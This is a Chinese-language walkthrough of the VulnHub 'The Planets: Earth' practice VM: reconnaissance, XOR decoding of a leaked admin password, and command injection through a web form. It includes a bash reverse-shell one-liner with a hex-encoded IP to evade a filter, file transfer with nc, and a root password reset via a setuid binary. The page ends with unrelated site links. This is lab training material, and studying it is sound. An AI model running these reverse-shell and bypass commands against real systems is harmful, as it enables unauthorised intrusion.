准备:

攻击机:虚拟机kali、本机win10。

靶机:THE PLANETS: EARTH,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/theplanets/Earth.ova,下载后直接vm打开即可。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap 192.168.0.0/24,获得靶机地址:192.168.0.11

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.0.11,显示开放了22、80、443端口,但是443端口需要进行dns解析。

在未设置dns解析时,访问下https和http服务显示均是400:

设置dns解析:

win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.0.11 earth.local 192.168.0.11 terratest.earth.local,然后访问:https://earth.local/http://earth.local或https://terratest.earth.local获得初始界面:

kali:打开/etc/hosts文件,添加:192.168.0.11 earth.local 192.168.0.11 terratest.earth.local,然后同windows。

目录扫描:

使用dirmap进行目录扫描:python dirmap.py -i http://earth.local/ -lcf和python dirmap.py -i https://terratest.earth.local -lcf,获得一下目录信息:

对扫描出来的地址进行访问,获得一个登录界面、一个robots.txt文件,访问结果如下:

尝试访问一下testingnotes.*文件,后面后缀进行测试,最后发现txt文档可以访问,https://terratest.earth.local/testingnotes.txt

在该文件中发现了以下信息:

1、用户名信息:terra used as username for admin portal,用户名terra是超级管理员账户。

2、加密算法:Using XOR encryption as the algorithm, should be safe as used in RSA,加密算法XOR。

3、加密文本:testdata.txt was used to test encryption,测试数据在testdata.txt中。

xor算法:a^b=c,则c^b=a或c^a=b,所以我们就需要将发送得信息与密码本信息进行异或,得到原来发送得未加密得信息。

读取testdata.txt文件:

解码传输信息

#vlunhub之THE PLANETS: EARTH脚本
import binascii entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
#将pass_txt转换成16进制
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
#进行xor运算
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')
#将运算结果转换成字符串
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)
#脚本结果
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

观察到最后得字符串信息是:earthclimatechangebad4humans得重复,因此猜测密码就是这个,因此在https://earth.local/admin/login界面使用账户名和密码进行登录:

获取flag

根据题目描述这题是要寻找两个flag:

因此通过find查找flag文件,find / -name "*flag*",

然后读取下/var/earth_web/user_flag.txt文件的信息,cat /var/earth_web/user_flag.txt,获取到flag值:

获取root权限

观察到当前用户是apache用户,那就是还差一个root用户,因此这里就要尝试获取root权限

首先获取下root权限下的文件都有哪些,命令:find / -user root -perm -4000 -print 2>/dev/null,发现/usr/bin/reset_root,结果如下:

尝试执行一下,但是重置密码失败

那就尝试获取下shell权限,开启kali的6688端口监听:nc -lvvp 6688

在网页输入框中输入 bash -i >& /dev/tcp/ 192.168.0.12/6688 0>&1 进行执行,但是显示被禁止了

发现被禁止后就在网上查找了以下,发现通过将ip地址转换成16禁止可以进行绕过:bash -i >& /dev/tcp/0xc0.0xa8.0x0.0xc/6688 0>&1,kali端成功获取到shell权限

因为shell上无法进行调试,因此把reset_root文件下载到本地进行调试,使用nc进行文件的传递,服务端:nc -nlvp 8899 >reset_root,shell端:nc 192.168.0.12 8899 < /usr/bin/reset_root,不分先后顺序

然后使用strace进行调试:strace ./reset_root,显示缺少三个文件

access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (No such file or directory)
access("/dev/shm/Zw7bV9U5", F_OK) = -1 ENOENT (No such file or directory)
access("/tmp/kcM0Wewe", F_OK) = -1 ENOENT (No such file or directory)
write(1, "RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.) = 44

那就去靶机上看一下这几个文件,发现靶机上也没有这几个文件

那就创建这几个文件后在尝试执行下reset_root文件,成功修改su密码为:Earth

在root权限下查找flag文件并读取flag值

vulnhub靶场之THE PLANETS: EARTH的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

随机推荐

  1. Nuget打包并上传教程

    一.准备 1 . 下载 Download NuGet.exe 2 . windows 系统下设置环境变量 path中 或者 在dos 命令窗口下cd转到 nuget.exe 所在目录,这里为了每次使用 ...

  2. 转:windows下定时执行备份数据库

    上一篇写了linux下定时任务,这一篇转发一个windows下定时备份数据库. 第一种:新建批处理文件 backup.dat,里面输入以下 net stop mysql xcopy "C:\ ...

  3. SAM复杂度证明

    关于$SAM$的复杂度证明(大部分是对博客的我自己的理解和看法) 这部分是我的回忆,可省略 先回忆一下$SAM$ 我所理解的$SAM$,首先扒一张图 初始串$aabbabd$ 首先发现,下图里的$S- ...

  4. MySQL Update执行流程解读

    GreatSQL社区原创内容未经授权不得随意使用,转载请联系小编并注明来源. 一.update跟踪执行配置 使用内部程序堆栈跟踪工具path_viewer,跟踪mysql update 一行数据的执行 ...

  5. How to code like a pro in 2022 and avoid If-Else

    在浏览文章的时候发现了一篇叙述有关if-else语句的文章,这篇文章作者是Thai Tran,他原文是用英语写的,然后看着文章浅显易懂,便尝试翻译成汉语.如有不妥还望指出. 原文链接:https:// ...

  6. 大数据Hadoop入门教程 | (一)概论

    数据是什么 数据是指对客观事件进行记录并可以鉴别的符号,是对客观事物的性质.状态以及相互关系等进行记载的物理符号或这些物理符号的组合,它是可识别的.抽象的符号. 它不仅指狭义上的数字,还可以是具有一定 ...

  7. Nodemon 如何实时监听 TypeScript 项目下的文件并热部署?

    首先你的项目要安装ts-node和nodemon: npm i -D ts-node nodemon 在package.json文件中配置运行脚本: "dev": "no ...

  8. 大家都能看得懂的源码 - 那些关于DOM的常见Hook封装(二)

    本文是深入浅出 ahooks 源码系列文章的第十五篇,该系列已整理成文档-地址.觉得还不错,给个 star 支持一下哈,Thanks. 本篇接着针对关于 DOM 的各个 Hook 封装进行解读. us ...

  9. Fast.Framework ORM 于中秋节后 正式开源

    Fast Framework 作者 Mr-zhong 开源项目地址 https://github.com/China-Mr-zhong/Fast.Framework QQ交流群 954866406 欢 ...

  10. 跟羽夏学 Ghidra ——工具

    写在前面   此系列是本人一个字一个字码出来的,包括示例和实验截图.本人非计算机专业,可能对本教程涉及的事物没有了解的足够深入,如有错误,欢迎批评指正. 如有好的建议,欢迎反馈.码字不易,如果本篇文章 ...